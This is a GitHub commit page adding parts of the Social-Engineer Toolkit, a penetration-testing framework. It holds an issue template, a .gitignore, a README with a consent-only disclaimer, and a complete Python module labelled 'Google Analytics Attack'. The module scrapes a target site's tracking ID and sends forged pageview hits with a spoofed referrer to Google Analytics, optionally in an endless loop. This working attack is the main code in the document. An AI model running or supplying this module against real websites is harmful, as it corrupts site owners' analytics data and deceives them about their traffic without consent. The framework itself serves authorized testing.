-
Notifications
You must be signed in to change notification settings - Fork 1
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
3394ace
commit 544e553
Showing
241 changed files
with
34,702 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,33 @@ | ||
**Expected Behaviour** | ||
|
||
Put here what the expected behaviour should be when reporting an issue | ||
|
||
**Actual Behaviour** | ||
|
||
Put here what the actual behaviour should be when reporting an issue | ||
|
||
|
||
**Set Version** | ||
|
||
_Set version_ | ||
|
||
Before opening an issue please make sure you are running the most up to date version of set | ||
|
||
We see the same bug reports being opened for issues that have already been fixed in a new release | ||
|
||
|
||
**Set in Kali** | ||
|
||
Please make sure you are running kali-rolling and your system is up to date. | ||
To update your system do the following ``apt update && apt full-upgrade`` | ||
|
||
Run the following to check your version of Kali ``lsb_release -rdc`` and you should see the following | ||
output | ||
``` | ||
Description: Kali GNU/Linux Rolling | ||
Release: kali-rolling | ||
Codename: kali-rolling | ||
```` | ||
If you do not see the following output download the ISO from http://cdimage.kali.org/kali-images/kali-weekly/ | ||
If you do all of the above and still have an issue then please open a issue. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,136 @@ | ||
# Created by .ignore support plugin (hsz.mobi) | ||
### Python template | ||
# Byte-compiled / optimized / DLL files | ||
__pycache__/ | ||
*.py[cod] | ||
*$py.class | ||
|
||
# C extensions | ||
*.so | ||
|
||
# Distribution / packaging | ||
.Python | ||
env/ | ||
build/ | ||
develop-eggs/ | ||
dist/ | ||
downloads/ | ||
eggs/ | ||
.eggs/ | ||
lib/ | ||
lib64/ | ||
parts/ | ||
sdist/ | ||
var/ | ||
*.egg-info/ | ||
.installed.cfg | ||
*.egg | ||
|
||
# PyInstaller | ||
# Usually these files are written by a python script from a template | ||
# before PyInstaller builds the exe, so as to inject date/other infos into it. | ||
*.manifest | ||
*.spec | ||
|
||
# Pycharm IDE files | ||
.idea | ||
|
||
# Installer logs | ||
pip-log.txt | ||
pip-delete-this-directory.txt | ||
|
||
# Unit test / coverage reports | ||
htmlcov/ | ||
.tox/ | ||
.coverage | ||
.coverage.* | ||
.cache | ||
nosetests.xml | ||
coverage.xml | ||
*,cover | ||
.hypothesis/ | ||
|
||
# Translations | ||
*.mo | ||
*.pot | ||
|
||
# Scrapy stuff: | ||
.scrapy | ||
|
||
# Sphinx documentation | ||
docs/_build/ | ||
|
||
# PyBuilder | ||
target/ | ||
|
||
# IPython Notebook | ||
.ipynb_checkpoints | ||
|
||
# pyenv | ||
.python-version | ||
|
||
# celery beat schedule file | ||
celerybeat-schedule | ||
|
||
# dotenv | ||
.env | ||
|
||
# virtualenv | ||
venv/ | ||
ENV/ | ||
|
||
# Spyder project settings | ||
.spyderproject | ||
|
||
# Rope project settings | ||
.ropeproject | ||
### Java template | ||
*.class | ||
|
||
# Mobile Tools for Java (J2ME) | ||
.mtj.tmp/ | ||
|
||
# Package Files # | ||
*.war | ||
*.ear | ||
|
||
# virtual machine crash logs, see http://www.java.com/en/download/help/error_hotspot.xml | ||
hs_err_pid* | ||
### Linux template | ||
*~ | ||
|
||
# temporary files which can be created if a process still has a handle open of a deleted file | ||
.fuse_hidden* | ||
|
||
# KDE directory preferences | ||
.directory | ||
|
||
# Linux trash folder which might appear on any partition or disk | ||
.Trash-* | ||
### OSX template | ||
*.DS_Store | ||
.AppleDouble | ||
.LSOverride | ||
|
||
# Icon must end with two \r | ||
Icon | ||
|
||
# Thumbnails | ||
._* | ||
|
||
# Files that might appear in the root of a volume | ||
.DocumentRevisions-V100 | ||
.fseventsd | ||
.Spotlight-V100 | ||
.TemporaryItems | ||
.Trashes | ||
.VolumeIcon.icns | ||
.com.apple.timemachine.donotpresent | ||
|
||
# Directories potentially created on remote AFP share | ||
.AppleDB | ||
.AppleDesktop | ||
Network Trash Folder | ||
Temporary Items | ||
.apdisk | ||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,57 @@ | ||
# :briefcase: The Social-Engineer Toolkit (SET) :briefcase: | ||
|
||
Copyright 2019 The Social-Engineer Toolkit (SET) | ||
|
||
Written by: David Kennedy (ReL1K) | ||
|
||
Company: [TrustedSec](https://www.trustedsec.com) | ||
|
||
DISCLAIMER: This is *only* for testing purposes and can only be used where strict consent has been given. Do not use this for illegal purposes, period. | ||
|
||
Please read the LICENSE under readme/LICENSE for the licensing of SET. | ||
|
||
|
||
# :book: SET Tutorial :book: | ||
|
||
For a full document on how to use SET, [visit the SET user manual](https://github.com/trustedsec/social-engineer-toolkit/raw/master/readme/User_Manual.pdf). | ||
|
||
|
||
# :computer: Features :computer: | ||
|
||
|
||
The Social-Engineer Toolkit is an open-source penetration testing framework designed for social engineering. SET has a number of custom attack vectors that allow you to make a believable attack quickly. SET is a product of TrustedSec, LLC – an information security consulting firm located in Cleveland, Ohio. | ||
|
||
|
||
## Bugs and enhancements | ||
|
||
For bug reports or enhancements, please open an [issue](https://github.com/trustedsec/social-engineer-toolkit/issues) here. | ||
|
||
|
||
## Supported platforms | ||
|
||
|
||
* Linux :penguin: | ||
* Mac OS X :apple: | ||
|
||
# :inbox_tray: Installation :inbox_tray: | ||
## Resolve dependencies | ||
*Ubuntu/Debian System* | ||
======= | ||
* Linux | ||
* Mac OS X (experimental) | ||
|
||
# Installation | ||
|
||
## Install via requirements.txt | ||
|
||
$ pip install -r requirements.txt | ||
|
||
## Install SET | ||
|
||
*All OSs* | ||
|
||
```bash | ||
$ git clone https://github.com/trustedsec/social-engineer-toolkit/ set/ | ||
$ cd set | ||
$ pip install -r requirements.txt | ||
``` |
127 changes: 127 additions & 0 deletions
127
social-engineer-toolkit/modules/google_analytics_attack.py
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,127 @@ | ||
#!/usr/bin/env python | ||
print "Loading module. Please wait..." | ||
import src.core.setcore | ||
import sys | ||
import requests | ||
import re | ||
import time | ||
import random | ||
|
||
MAIN="Google Analytics Attack by @ZonkSec" | ||
AUTHOR="Tyler Rosonke (@ZonkSec)" | ||
|
||
### MAIN ### | ||
def main(): | ||
print_title() | ||
# determins if auto or manual, then calls functions | ||
mode_choice = raw_input("[*] Choose mode (automatic/manual): ") | ||
if mode_choice in ("automatic","auto"): | ||
print "\n[*] Entering automatic mode.\n" | ||
url = raw_input("[*] Target website (E.g. 'http://xyz.com/'): ") | ||
params = auto_params(url) | ||
elif mode_choice in ("manual","man"): | ||
print "\n[*] Entering manual mode." | ||
params = manual_params() | ||
else: | ||
print "\n[-] Invalid mode.\n" | ||
sys.exit() | ||
# params have been collected, prompts for print | ||
print "\n[+] Payload ready." | ||
printchoice = raw_input("\n[*] Print payload?(y/n): ") | ||
if printchoice == "y": | ||
print_params(params) | ||
|
||
#sends request | ||
raw_input("\nPress <enter> to send payload.") | ||
send_spoof(params) | ||
|
||
#prompts for loop, calls function if need be | ||
loopchoice = raw_input("\n[*] Send payload on loop?(y/n) ") | ||
if loopchoice == "y": | ||
looper(params) | ||
raw_input("\n\nThis module has finished completing. Press <enter> to continue") | ||
|
||
### print_params - loops through params and prints | ||
def print_params(params): | ||
for entry in params: | ||
print entry + " = " + params[entry] | ||
|
||
### looper - prompts for seconds to sleep, starts loop | ||
def looper(params): | ||
secs = raw_input("[*] Seconds between payload sends: ") | ||
raw_input("\nSending request every "+secs+" seconds. Use CTRL+C to terminate. Press <enter> to begin loop.") | ||
while True: | ||
send_spoof(params) | ||
time.sleep(int(secs)) | ||
|
||
### send_spoof - randomizes client id, then sends request to google service | ||
def send_spoof(params): | ||
params['cid'] = random.randint(100,999) | ||
r = requests.get('https://www.google-analytics.com/collect', params=params) | ||
print "\n[+] Payload sent." | ||
print r.url | ||
|
||
### auto_params - makes request to target site, regexes for params | ||
def auto_params(url): | ||
try: #parses URL for host and page | ||
m = re.search('(https?:\/\/(.*?))\/(.*)',url) | ||
host = str(m.group(1)) | ||
page = "/" + str(m.group(3)) | ||
except: | ||
print "\n[-] Unable to parse URL for host/page. Did you forget an ending '/'?\n" | ||
sys.exit() | ||
try: #makes request to target page | ||
r = requests.get(url) | ||
except: | ||
print "\n[-] Unable to reach target website for parsing.\n" | ||
sys.exit() | ||
try: #parses target webpage for title | ||
m = re.search('<title>(.*)<\/title>', r.text) | ||
page_title = str(m.group(1)) | ||
except: | ||
print "\n[-] Unable to parse target page for title.\n" | ||
sys.exit() | ||
try: #parses target webpage for tracking id | ||
m = re.search("'(UA-(.*))',", r.text) | ||
tid = str(m.group(1)) | ||
except: | ||
print "\n[-] Unable to find TrackingID (UA-XXXXX). Website may not be running Google Anayltics.\n" | ||
sys.exit() | ||
#builds params dict | ||
params = {} | ||
params['v'] = "1" | ||
params['tid'] = tid | ||
params['cid'] = "555" | ||
params['t'] = "pageview" | ||
params['dh'] = host | ||
params['dp'] = page | ||
params['dt'] = page_title | ||
params['aip'] = "1" | ||
params['dr'] = raw_input("\n[*] Enter referral URL to spoof (E.g. 'http://xyz.com/'): ") | ||
return params | ||
|
||
### manual_params - prompts for all params | ||
def manual_params(): | ||
params = {} | ||
params['v'] = "1" | ||
params['tid'] = raw_input("\n[*] Enter TrackingID (tid)(UA-XXXXX): ") | ||
params['cid'] = "555" | ||
params['t'] = "pageview" | ||
params['aip'] = "1" | ||
params['dh'] = raw_input("[*] Enter target host (dh)(E.g. 'http://xyz.xyz)': ") | ||
params['dp'] = raw_input("[*] Enter target page (dp)(E.g. '/aboutme'): ") | ||
params['dt'] = raw_input("[*] Enter target page title (dt)(E.g. 'About Me'): ") | ||
params['dr'] = raw_input("[*] Enter referal page to spoof (dr): ") | ||
return params | ||
|
||
### print_title - prints title and references | ||
def print_title(): | ||
print "\n----------------------------------" | ||
print " Google Analytics Attack " | ||
print " By Tyler Rosonke (@ZonkSec) " | ||
print "----------------------------------\n" | ||
print "User-Guide: http://www.zonksec.com/blog/social-engineering-google-analytics/\n" | ||
print "References:" | ||
print "-https://developers.google.com/analytics/devguides/collection/protocol/v1/reference" | ||
print "-https://developers.google.com/analytics/devguides/collection/protocol/v1/parameters\n\n" |
Oops, something went wrong.